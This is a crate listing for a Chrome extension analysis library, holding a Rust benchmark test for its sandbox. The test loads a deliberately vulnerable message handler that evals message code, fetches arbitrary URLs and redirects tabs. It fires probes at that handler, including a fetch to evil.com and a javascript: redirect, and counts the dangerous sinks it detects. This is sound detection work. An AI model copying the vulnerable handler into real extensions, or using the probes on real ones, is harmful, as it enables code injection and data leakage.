jsdet-chrome-ext 0.1.0

Chrome Extension API bridges for jsdet — chrome.tabs, chrome.cookies, chrome.webRequest, etc.
Documentation
#[test]
fn benchmark_persistent_sandbox_100_probes() {
    use jsdet_chrome_ext::state::ExtensionState;
    use jsdet_chrome_ext::{AnalysisProfile, ChromeExtBridge, Manifest};
    use jsdet_core::bridge::Bridge;
    use jsdet_core::{CompiledModule, Observation, PersistentSandbox, SandboxConfig};
    use std::sync::Arc;
    use std::time::Instant;

    let module = CompiledModule::new().unwrap();
    let manifest = Manifest::parse(
        r#"{"name":"Bench","manifest_version":3,"version":"1.0",
        "background":{"service_worker":"sw.js"},
        "permissions":["tabs","cookies","storage"]}"#,
    )
    .unwrap();
    let profile = AnalysisProfile::default();
    let state = ExtensionState::default_with_id("bench");
    let bridge: Arc<dyn Bridge> = Arc::new(ChromeExtBridge::new(manifest.clone(), profile, state));
    let config = SandboxConfig {
        max_fuel: 50_000_000,
        max_memory_bytes: 32 * 1024 * 1024,
        timeout_ms: 5000,
        ..SandboxConfig::default()
    };

    let mut sb = PersistentSandbox::new(&module, bridge, &config).unwrap();
    let bootstrap = jsdet_chrome_ext::bootstrap::generate_bootstrap(&manifest);
    let handler = r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            if (msg.action === 'eval') eval(msg.code);
            if (msg.action === 'fetch') fetch(msg.url);
            if (msg.action === 'redirect') chrome.tabs.update(1, {url: msg.url});
        });
    "#
    .to_string();

    sb.load(&[bootstrap, handler]).unwrap();

    let probes = [
        r#"chrome.runtime._fireOnMessage({action:"eval",code:"SLN_1"},{tab:{id:1},id:"t"},function(){});"#,
        r#"chrome.runtime._fireOnMessage({action:"fetch",url:"https://evil.com/SLN_2"},{tab:{id:1},id:"t"},function(){});"#,
        r#"chrome.runtime._fireOnMessage({action:"redirect",url:"javascript:SLN_3"},{tab:{id:1},id:"t"},function(){});"#,
        r#"chrome.runtime._fireOnMessage({data:"benign"},{tab:{id:1},id:"t"},function(){});"#,
    ];

    let n = 100;
    let start = Instant::now();
    let mut total_sinks = 0;
    for i in 0..n {
        let obs = sb.eval_only(probes[i % probes.len()]);
        total_sinks += obs.iter().filter(|o| matches!(o,
            Observation::ApiCall { api, .. } if api == "eval" || api == "fetch" || api.contains("tabs.update")
        )).count();
    }
    let elapsed = start.elapsed();
    let per_probe_us = elapsed.as_micros() as f64 / n as f64;
    let probes_per_sec = n as f64 / elapsed.as_secs_f64();

    eprintln!("--- BENCHMARK: PersistentSandbox ---");
    eprintln!(
        "Probes: {n} | Time: {:.1}ms | Per probe: {:.0}µs | Rate: {:.0}/s | Sinks: {total_sinks}",
        elapsed.as_secs_f64() * 1000.0,
        per_probe_us,
        probes_per_sec
    );

    // Assertions: performance targets
    assert!(
        per_probe_us < 5000.0,
        "probe should take <5ms, took {per_probe_us:.0}µs"
    );
    assert!(
        probes_per_sec > 100.0,
        "should do >100 probes/sec, got {probes_per_sec:.0}"
    );
    assert!(
        total_sinks >= 50,
        "should detect ≥50 sinks from 75 payload probes, got {total_sinks}"
    );
}